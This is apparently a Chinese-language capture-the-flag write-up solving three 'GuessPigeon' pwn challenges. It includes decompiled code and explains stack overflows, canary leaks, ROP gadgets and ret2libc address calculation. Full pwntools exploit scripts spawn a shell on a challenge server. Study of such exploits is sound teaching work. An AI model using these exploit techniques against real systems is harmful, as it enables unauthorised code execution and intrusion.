CNSS-PWN
GuessPigeon
analyze
unsigned int __cdecl guess(int a1) { char nptr; // [esp+8h] [ebp-70h] unsigned int v3; // [esp+6Ch] [ebp-Ch] v3 = __readgsdword(0x14u); puts("Please input your guess:"); __isoc99_scanf("%s", &nptr); if ( atoi(&nptr) == a1 ) { puts("My Gooood!You guessed the pigeon number!!"); getshell(); } else { printf("You are wrong!The pigeon's number is %d\n try again~", a1); } return __readgsdword(0x14u) ^ v3; }
可见 scanf处没有限制字符串长度大小,可以通过该处进行栈溢出
a1是调用guess函数时传入的参数,存在栈里面
nptr为输入的字符串,也存在栈里面
可知进行栈溢出可以将a1和nptr覆盖成一样的形式,从而getshell
虽然这道题有canary,但是并没有起到作用
char nptr; // [esp+8h] [ebp-70h]
题外话:关于padding的长度,一定要用gdb调试后算出来!!
用ida眼睛看的十有八九都是错的!!
exp.py
from pwn import * p = remote("132.232.34.26",8888) p.recvuntil('input your token:') p.sendline("GuessPigeon") payload = '123' + '\x00' payload += 'a' * 0x74 payload += p32(123) p.recvuntil('Please input your guess:') p.sendline(payload) p.interactive()
GuessPigeon2
analyze
int guess() { int result; // eax char buf; // [rsp+0h] [rbp-70h] puts("Please input your guess:"); __isoc99_scanf("%s", &buf); puts("You've been fooled.There are no pigenos here!\n Good bye~"); puts("Do you want to get hint? yes/no?"); read(0, &buf, 0x100uLL); result = strcmp(&buf, "yes"); if ( !result ) result = printf("Do you know \"%s\"\n", s); return result; }
这次的ELF文件是64位的,传参方式为寄存器传参,这意味着我们需要用到ROP链来构造一段代码把参数传到寄存器里面去
rop
ROPgadget --binary GuessPigeon2 --only 'pop|ret' | grep 'rdi'
0x0000000000400933 : pop rdi ; ret
binsh
同时 字符串s刚好指向了 /bin/sh,利用system(s)可以getshell
查询了一下,system函数刚好存在于elf文件中,直接引用即可
0x400650
程序执行完guess之后,会跳到pop_rdi_ret的函数处,将rdi赋值为s的地址,接着调用system(),从而getshell
exp.py
from pwn import * #p = process('./GuessPigeon2') p = remote('132.232.34.26',8888) pop_rdi_ret = 0x400933 system_addr = 0x400650 binsh_addr = 0x600E20 payload = 'a' * 0x78 payload += p64(pop_rdi_ret) payload += p64(binsh_addr) payload += p64(system_addr) p.recvuntil('input your token:') p.sendline('GuessPigeon2') p.recvuntil("Please input your guess:") p.sendline('a') p.recvuntil("Do you want to get hint? yes/no?") p.sendline(payload) p.interactive()
GuessPigeon3
analyze
unsigned int guess() { char buf; // [esp+8h] [ebp-70h] unsigned int v2; // [esp+6Ch] [ebp-Ch] v2 = __readgsdword(0x14u); memset(&buf, 0, 0x64u); puts("You You have two chances. Please input your guess:"); read(0, &buf, 0x100u); printf("You guessed the pigeon number is %s .\nI'm sorry, you guessed wrong.", &buf); puts("Please input your guess again:"); read(0, &buf, 0x100u); puts("You've been fooled.There are no pigenos here!\n Good bye~"); return __readgsdword(0x14u) ^ v2; }
我们checksec一下
[*] '/home/mrh929/Desktop/cnss/GuessPigeon3/GuessPigeon3' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
程序开启了Canary和栈不可执行,guess函数中有两个read函数,即有两个溢出点
第一个溢出点的后面紧跟着一个printf,推测可能是用来泄露canary用的
canary
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/
canary是一种防止栈溢出的方式,通过在执行函数之前生成一个随机的canary,可以防止在函数结束之前有人通过read, scanf等不安全的函数进行栈溢出攻击,程序结束时会stack_check_fail,一旦canary被改变,程序将会马上退出
canary的特点是最低位为0, eg: 0x49d8c100 ,本意是将printf截断,我们在用padding填充的时候可以sendline,即在最后一位填上一个'\n',就可以做到将canary输出,当然最后要记得canary = out - 'a'
libc
程序中没有给出system函数和/bin/sh字符串
但是给了一个libc文件,libc文件是一个动态链接库,程序通过读取这个动态链接库来执行它想要的函数
当然这个动态链接库的地址就不是固定的了,虽然我们静态分析的时候会得到一个静态的地址,但这个并不是动态链接库的最终地址,我们需要将程序运行之后某个libc函数的地址泄露出来,算出它与libc中的静态地址的偏移,从而得到libc中每个函数的真实地址
plt got
https://ctf-wiki.github.io/ctf-wiki/executable/elf/elf-structure-zh/#global-offset-table
plt的本质上是一个指向got表的指针,系统调用函数的时候会首先jmp plt,由plt进行push ,再jmp的操作,最终读取到got表,将eip指向函数的真实地址。
这个生成got表的动作是动态的,所以在我们没有调用某个函数时这个函数的got表将不存有任何地址信息。我们想要得到某个libc函数的真实地址,最好的方法是找准一个已经被系统执行的函数,查询它的got表,从而得到这个函数的真实地址。
这道题中puts和read函数都是被程序执行过的,我们随意选取一个函数
用 elf.got['puts'] 调出got表地址,利用write(三个参数)或者puts(一个参数)函数将其输出
相当于把guess函数的返回地址设置为write/puts
注意,这里调用write/puts函数的本质也是调用plt表,在汇编层面其实等价于jmp addr
而这些函数都是需要ret/ leave 的,所以相应的我们应当在 write_plt 后面先加入一个 ret_addr ,再push 参数
after that
同样的,注意canary 和 write_plt之间也有12个字节的padding,我第一次做这题的时候也是在padding上面卡了很久,一定要用gdb仔细调试才能得出padding长度!!
ret_addr可以设置为guess,因为guess函数有两个溢出点,可以继续栈溢出
在我们得到read的真实地址之后,我们就可以通过
read_addr - libc.symbols['read']
来得出偏移offset了,现在我们就可以知道任何一个函数的真实地址了
再执行一遍guess,同样的要获取canary并且构造payload。
最后压入/bin/sh参数,执行system()
little trick
import pwnlib pwnlib.gdb.attach(process)
可以对pwntools的过程进行调试
exp.py
import pwnlib from pwn import * #p = process('./GuessPigeon3') p = remote('132.232.34.26',8888) p.recvuntil('token:') p.sendline('GuessPigeon3') elf = ELF('./GuessPigeon3') libc = ELF('libc.so.6') ret_addr = elf.symbols['guess'] write_got = elf.got['write'] write_plt = elf.plt['write'] puts_plt = elf.plt['puts'] payload1 = 'a' *100 p.recvuntil('Please input your guess:') p.sendline(payload1) p.recvuntil(payload1) canary = u32(p.recv(4)) - 0xa #get canary value print "canary = " + str(hex(canary)) payload2 = 'b'*100 + p32(canary) + 'b'* 12 payload2 += p32(puts_plt) + p32(ret_addr) + p32(write_got) p.recvuntil("your guess again:") p.send(payload2) p.recvuntil('Good bye~\n') write_addr = u32(p.recv(4)) print "libc_read_addr = " + hex(write_addr) # return to guess() payload3 = 'c' * 100 p.recvuntil('Please input your guess:') p.sendline(payload3) p.recvuntil(payload3) canary = u32(p.recv(4)) - 0xa #another canary print "canary' = " + str(hex(canary)) libc_write = libc.symbols['write'] libc_system = libc.symbols['system'] libc_binsh = libc.search('/bin/sh').next() offset = write_addr - libc_write #offset between real_addr and libc_addr system_addr = offset + libc_system binsh_addr = offset + libc_binsh payload4 = 'd'*100 + p32(canary) payload4 += 'b'*12 payload4 += p32(system_addr) + p32(ret_addr) + p32(binsh_addr) p.recvuntil('again:') p.sendline(payload4) p.interactive()
Comments | NOTHING